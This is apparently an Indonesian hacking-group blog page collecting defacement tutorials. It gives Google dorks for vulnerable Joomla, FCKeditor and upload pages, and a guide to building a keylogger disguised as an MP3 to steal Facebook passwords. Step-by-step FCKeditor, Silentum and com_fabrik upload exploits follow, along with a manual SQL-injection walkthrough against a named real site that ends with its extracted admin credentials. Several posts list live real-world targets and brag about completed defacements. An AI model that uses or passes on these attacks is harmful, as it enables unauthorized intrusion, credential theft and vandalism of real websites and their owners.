0 Dork Joomla Terbaru 2014

Mr.Phantom - Eagle Eye Defacer Team

ok kali ini akan share Kumpulan Dork Joomla Terbaru tanpa basa basi lagi nyok langsung aja :v

1. site:roseo.net intext:<meta name="generator" content="Joomla! 1.7 - Open Source Content Management"/> 
2. site:roseo.net intext:<meta name="generator" content="Joomla! 1.6 - Open Source Content Management"/>
3. site:domainstool.net intext:<meta name="generator" content="Joomla! 1.7 - Open Source Content Management"/> 
4. site:domainstool.net intext:<meta name="generator" content="Joomla! 1.6 - Open Source Content Management"/>
5. site:www.domainleia.com intext:<meta name="generator" content="Joomla! 1.7 - Open Source Content Management"/>  
6. site:www.domainleia.com intext:<meta name="generator" content="Joomla! 1.6 - Open Source Content Management"/> 
7. site:sourcecodefor.com intext:<meta name="generator" content="Joomla! 1.7 - Open Source Content Management"/>
8.  site:sourcecodefor.com intext:<meta name="generator" content="Joomla! 1.6 - Open Source Content Management"/> 
9. inurl:35- intext:Designed by: joomla 1.7 templates web hosting Valid XHTML and CSS. 
10. inurl:35- intext:Designed by: joomla 1.6 templates web hosting Valid XHTML and CSS.
11. Free Joomla 1.7 Templates designed by College Jacke.
12. Joomla 1.7 Templates designed by Football Jacke.

Read more

0 Cara Hack Facebook Dengan Keylogger

Hacking kini sudah mulai ramai dibicarakan karena banyak situs serta account yang sudah sering dijebol dengan para hacker misalnya hack facebook password, hack yahoo password, hack hotmail password, hack gmail password, hack blogger password, hack paypal, hack ebay password, dll. Hacking sering terjadi karena sistem keamanan yang mudah dijebol atau kecorobohan yang dilakukan user. Untuk itu artikel ini bertujuan untuk membahas bagaimana hacker menjebol account anda sehingga anda dapat menghindari dan mengenal ulah hacker tersebut.

Ada beberapa cara yang digunakan hacker untuk menjobol account yaitu dengan cara phising (login yang palsu) dan software keylogger. Hacking dengan cara phising yaitu dengan mengirim link ke account anda. Link tersebut akan membawa ke situs tertentu yang sering anda gunakan misalnya facebook atau twitter. Tampilan situs tersebut sama dengan situs yang anda gunakan, hanya saja situs tersebut adalah palsu (fake) sehingga dapat mengakses id dan password yang anda gunakan. Cara lain yang sering digunakan hacker untuk hack account milik orang lain yaitu hack facebook menggunakan keylogger. Untuk anda yang penasaran bagaimana cara menggunakan keylogger dapat melihat caranya dibawah ini:

  

1. Download Project Neptune Keylogger

 

2.  Buka program yang sudah didownload

3. Setting pengaturan sesuai gambar diatas dan masukkan juga username dan password Gmail kamu lalu klik Test Email Account Information

4. Klik System wide. pastikan semua pengaturan sama seperti pada gambar!

5. Selanjutnya klik Tab Installation. Lihat gambar!

6. Setelah semua selesai klik Tab "Server Creation" lalu klik "Generate New Server" dan beri nama sesuai keinginanmu.

Untuk hack password facebook anda harus mengirim file ke korban dan membuatnya menginstalnya pada komputer. Anda dapat menggunakan Binder, crypter atau Fake Hacking Software untuk mengikat server file ini dengan Mp3 sehingga tidak terdeteksi sebagai virus dan bisa dijalankan user. Masukan file keylogger yg sudah dibuat tdi ke dalam file berformat rar atau zip agar bisa diupload ke email, pesan Facebook ataupun di Grup. Lalu kirim file tersebut ke tujuan. Apabila file keylogger dijalankan oleh korban maka alat tersebut mencari untuk semua password dan mengirimkan email yang berisi semua user-id dan password.

Sekian tutorial dari saya, semoga artikel ini bermanfaat. Ingatlah untuk berhati-hati saat browsing di internet, Safe browsing semuanya... 

Note: "Penulisan artikel ini hanya sebagai sumber pengetahuan dan pembelajaran. segala kemungkinan resiko serta akibat atas penyalahgunaan ditanggung sendiri".

Sumber : www.leoneist.tk

• Oke Ckup Sekian Dl ya Tutorial Nya Dari Ane  Jangan Lupa Kunjungi Group kami Disini Dan Kunjungi Juga Fp Kami Disini :) 

Read more

0 Cara Deface Website Sekolah

ita akan membicarakan soal deface lagi. Web sch.id merupakan web sekolahan milik Indonesia. Dengan menggunakan FCKeditor, kita bisa mengupload sebuah file ke web tersebut seperti halnya mengupload file deface, namun berformat txt. Ok, berikut caranya.



1. Buatlah sebuah file berformat txt dengan notepad, isi dengan kata - kata yang ingin diucapkan layaknya file deface, jangan lupa di save dan beri nama

2. Di pencarian google, masukkan dork berikut :
inurl:/html/siswa.php?
inurl:/html/alumni.php?
inurl:/html/guru.php?

3. Nanti bakalan muncul beberapa situs sekolahan, anda pilih salah satu untuk di eksekusi

4. Silahkan anda masukkan exploit ini /editor/filemanager/connectors/test.html
Contoh: www.site.com/editor/filemanager/connectors/test.html

5. Nanti akan terlihat seperti ini

Sesuai gambar, di kolom connector silahkan anda ganti dengan PHP. Resource type file

6. Klik "pilih file" dan pilih file txt yang sudah dibuat tadi

7. Klik "upload"

8. Jika berhasil akan muncul tulisan kira - kira seperti ini 'file uploaded with no error'

9. Untuk melihat file uploadnya, anda buka webnya dengan www.site.com/userfiles/file/namafilemu.txt

10. Jika berhasil maka nanti akan muncul text yang tadi anda buat di notepad.
Contoh: http://www.smkn1kuta.sch.id/userfiles/file/index.txt

Selesai, kini anda berhasil mendeface web tersebut, meski bukan pada indexnya

• Oke Ckup Sekian Dl ya Tutorial Nya Dari Ane  Jangan Lupa Kunjungi Group kami Disini Dan Kunjungi Juga Fp Kami Disini :) 

Read more

1 Cara Deface Dengan SQL Manual

Ya, mungkin dengan Havij anda sudah bisa mendapatkan username dan password web yang vuln SQLi. Namun mungkin anda tidak akan pernah tahu cara kerjanya karena HAvij bekerja secara otomatis. Kita hanya terima jadi saja.
oleh karena itu kali ini saya akan shere tutorial SQLi secara manual. Saya mendapat tutorial ini dari x'1n73ct.

Alat : Browser Firefox . Kenapa harus firefox ? Karena kita harus menginstall addons HACKBAR yang [sepertinya] hanya ada di Firefox. Hackbar itu seperti apa sih ? Nih screenshotnya ;

Fungsinya ? Simak saja tutorialnya sampai akhir maka anda akan tahu fungsi dari hackbar. Untuk yang belum menginstall hackbar silahkan menuju berikut : Klik Disini!

Oke, kita mulai tutorialnya :

Step 1 :
Cari target vuln SQLi di google. Dork yang bisa digunakan :
inurl:"research.php?cid="
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()

Untuk dork lain silahkan cari sendiri atau kreasikan sendiri.
Sebagai web korban untuk tutorial ini saya memilih : http://kkverma.com/content/research.php?cid=2
Kita tambahkan tanda kitip satu ['] di akhri url untuk memastikan apakah webnya vuln SQLi atau tidak.
Sehingga menjadi : http://kkverma.com/content/research.php?cid=2'

Di situ tertulis : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by uid' at line 1 . Error ! Artinya web tersebut vuln SQLi

Step 2 :
Lanjut. Sekarang kita cari tau jumlah table di databasenya dengan perintah “order by” . Cari hingga menemukan error.
http://kkverma.com/content/research.php?cid=2 order by 1-- normal
http://kkverma.com/content/research.php?cid=2 order by 2-- normal
http://kkverma.com/content/research.php?cid=2 order by 3-- normal
http://kkverma.com/content/research.php?cid=2 order by 4-- normal
http://kkverma.com/content/research.php?cid=2 order by 5-- normal
http://kkverma.com/content/research.php?cid=2 order by 6-- ERROR

di "order by 6" kita mendapatkan error dengan tulisan : Unknown column '6' in 'order clause' yang kalo diartikan menjadi "eh, gile lu ye. Mana ada kolom 6" . Sekarang kita sudah tahu kalo jumlah kolom di databasenya ada 5 [karena error di angka 6].

Step 3 :
Sekarang kita mulai mencari "angka ajaib" yang bisa kita injeksi di step sejanjutnya dengan memasukkan perintah union select. Perhatikan saja url yang saya tulis dibawah :
http://kkverma.com/content/research.php?cid=-2 union select 1,2,3,4,5-- [ ingat, setelah ?cid= diberi tanda - ]

Muncul angka ajaib 3 dan 4 .

Step 4 :
Sekarang kita coba untuk melihat versi php dengan angka ajaib tadi. Caranya ialah dengan memasukan perintah “ @@version “atau “ version() ” kedalam salah satu angka yang muncul tadi.
http://kkverma.com/content/research.php?cid=-2 union select 1,2,version(),4,5 -- [karena 3 tadi termasuk angka ajaib]

Tertulis 5.1.61 . Versi php 5 . Berarti tutorial ini masih bisa dilanjutkan. Karena jika menemukan php versi 4 kita harus menebak sendiri isi/tabel dari databasenya.

Step 5 :
Kita akan memunculkan nama-nama table yang ada di dalam database dengan mengganti perintah “ @@version ” dengan “group_concat(table_name) ” dan menambahkan perintah “ from information_schema.tables where table_schema=database() ” sesudah angka terakhir , sebelum tanda --
http://kkverma.com/content/research.php?cid=-2 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--

Kita melihat ada table admin, research, vcounter .

Step 6 :
Sekarang main logika disini. Dimana biasanya akan disimpan data berupa user dan password ? Tentu jawabannya adalah di table admin. Kita coba melihat kolom dari table admin tersebut .
Disinilah hackbar dibutuhkan. Untuk merubah suatu kata menjadi bentuk MySQL CHAR(). Caranya : klik tombol SQL -> MySQL -> MySQL CHAR() . Lalu kita convert kata "admin" menjadi bentuk MySQL CHAR() .

Dan hasil convert dari kata admin adalah CHAR(97, 100, 109, 105, 110)

Step 7 :
Tahap selanjutnya yaitu mengetahui kolom yang ada pada table admin tersebut. Cara mengganti perintah “ group_concat(table_name) ” dengan perintah “ group_concat(column_name) ” dan mengganti perintah “ information_schema.tables “ menjadi “ information_schema.columns ” juga mengganti perintah “ table_schema=database() ” dengan perintah “ table_name=[hasil convert MySQL CHAR() - Step 6] ”

http://kkverma.com/content/research.php?cid=-2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

Kita mendapat kolom aid, admin id, admin pass di tabel admin.

Step 8 :
Sekarang kita coba membuka data yang ada di kolom aid, admin id , dan admin pass .
Caranya ialah mengganti perintah group_concat(table_name) menjadi group_concat(aid,0x3a,admin_id,0x3a,admin_pass) dan mengganti perintah “ from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)—“ dengan perintah “from admin—“ . disitu kita melihat ada tanda 0x3a. Apa maksudnya ? 0x3a adalah bentuk HEX dari tanda :sehingga data nanti akan dipisah dengan tanda : .
http://kkverma.com/content/research.php?cid=-2 union select 1,2,group_concat(aid,0x3a,admin_id,0x3a,admin_pass),4,5 from admin--

Kita mendapatkan data berikut ;
aid : 1
Admin ID : admin
Admin Pass : bimogay --- adminnya bernama Bimo, orangnya Gay. Hihihi

Step 9 :
Sekarang kita coba mencari halaman loginnya. Tidak bakal jauh dari kata "admin" ataupun "login" . Kalo malas mencari manual, cari dengan software Admin Finder. Cari sendiri di Google.
Kita menemukan halaman loginnya terletak di :
http://kkverma.com/admin

Masukkan user dan password sesuai dengan data yang telah kita dapat.
Dan.......

Uh, indahnya dunia ini. :v
Masuk halaman admin bray. Namun ternyata tidak bisa upload shell. Kita deface saja dengan metode JS Overlay.

• Oke Ckup Sekian Dl ya Tutorial Nya Dari Ane  Jangan Lupa Kunjungi Group kami Disini Dan Kunjungi Juga Fp Kami Disini :) 

Sumber : http://www.braock.co.vu/2014/03/sql-manual-tutorial.html

Read more

0 Cara Deface Dengan Metode Silentum Uploader

Kali ini ane pngen Share Cara Deface Melalui Silentum Uploader :) 

oke langsung aja ya Cek it brot :

oke langkah prtama Masukin salah satu Dork ini di Google:

intext: Powered by: Silentum Uploader 

atau

Inurl:upload.php intext:"htm html" site:.com / org / net etc

Pilih salah satu target ~

disini ane dapet

http://www.hiphopcars.com/black_models_divas/upload.php

Kalo vuln, pasti akan ada menu untuk upload file. 

Nte klik "Telusuri" untuk memilih file deface kamu 

yang ingin di upload dan klik "Upload File" untuk menguploadnya ~

Selesai upload, Silahkan Cek file Deface yang sudah kamu upload dengan 

format: www.site.com/file/namafilekamu.html atau

www.site.com/files/namafilekamu.html

Atau Bisa juga klik kanan pada file Html kamu lalu klik open new tab 

Hasil Deface-an Ane Nih ~

Live TarGet :

• http://www.carpeweb.altervista.org/upload.php
• http://www.gsassago1968.com/UpLoad/upload.php
  

• Oke Ckup Sekian Dl ya Tutorial Nya Dari Ane  Jangan Lupa Kunjungi Group kami Disini Dan Kunjungi Juga Fp Kami Disini :) 

Read more

0 Cara Deface Melalui File Upload

Mr.Phantom - Eagle Eye Defacer Team 
Assalamualaikum Wr.Wb  .

Kali ini ane mau share Deface Melalui File Upload ..
Ga usah Basa Basi lg :v langsung aja ya CEK IT BROT

Dork :
-inurl:/editor/editor/filemanager
-inurl:/HTMLEditor/editor/"

NOTE :  dork bisa d kreasikan sendiri 

1). Masukan salah satu dork diatas ke Seacrh Enginee Google:

2). Pilih salah satu website sebagai target.

3). Kemudian url ini : editor/editor/filemanager/browser/mcpuk/images/icons/32/

4). Ganti dengan url ini, Lalu enter :
editor/editor/filemanager/upload/test.html

5). Jika sudah masuk, kamu ubah pada Select the "FileUploader" to use: Ubah dari ASP menjadi PHP.

6). Kemudian kamu klik Choose File, kamu pilih salah satu fileHTML deface'an kamu. . Lalu klik Send it to the Server.

7). Jika berhasil nanti akan muncul notice jika file yang kamu upload berhasil tanpa eror, dan pada kotak ( Upload File URL ) akan memberikan patch dimana file kamu berada.

8). Copykan saja file yang ada di ( Upload File URL ) lalu taruh dibelakang site target !!

9). Taraaa Web tersebut sidah bisa di masukin Script kamu Sobat

nh hasil defacean ane : http://www.buraevo.ru/UserFiles/Eagle eye.html


- untuk pembelajaran nh ane kasih Live targetnya :http://buritisnews.com.br/editor/editor/filemanager/upload/test.html


#nitip nick ya gan ./Mr.Phantom

Oke Ckup Sekian Dl ya Tutorial Nya Dari Ane  Jangan Lupa Kunjungi Group kami Disini Dan Kunjungi Juga Fp Kami Disini :)

Read more

0 Cara Deface Dengan Metode Com_Fabrik

Mr.Phantom Eagle Eye Defacer Team 
Assalamualaikum Wr.Wb  .

kali ini ane pngen share tutor Com_Fabrik ok langsung aja ya Cek it brot :

1. Ketik dork berikut ke google :

inurl:index.php?option=com_fabrik

2. Akan ada banyak web, anda buka terserah yang mana

3. Masukkan exploit ini : index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Contoh : www.site.com/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

4. Jika tidak berhasil cari target lain. Jika berhasil akan muncul form upload seperti ini

5. Klik "pilih file" untuk memilih shell/script html, dan klik "Import CSV untuk mengupload

6. Jika berhasil Biasa nya akan muncul Eror Seperti Ini :

8. Untuk Membuka shell/script html  anda dengan format www.site.com/media/namafile.html/Nama shell,php  ( Tidak Semua Web Bisa D tanam Shell )

contoh site ane :http://www.montesole.it/jm/media/Phantom~.html

7. Dan muncullah script kesayangan anda. Namun jika tidak muncul, itu karena web tersebut tidak mendukung 

file berformat php maupun html.

Sekian ilmu yang dapat saya berikan.

Selamat mencoba :)

nh ane kasih live target nya untuk belajar :
- http://www.ready4english.it/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
- http://www.europea-export.it/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
- http://www.adusbef.lombardia.it/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Read more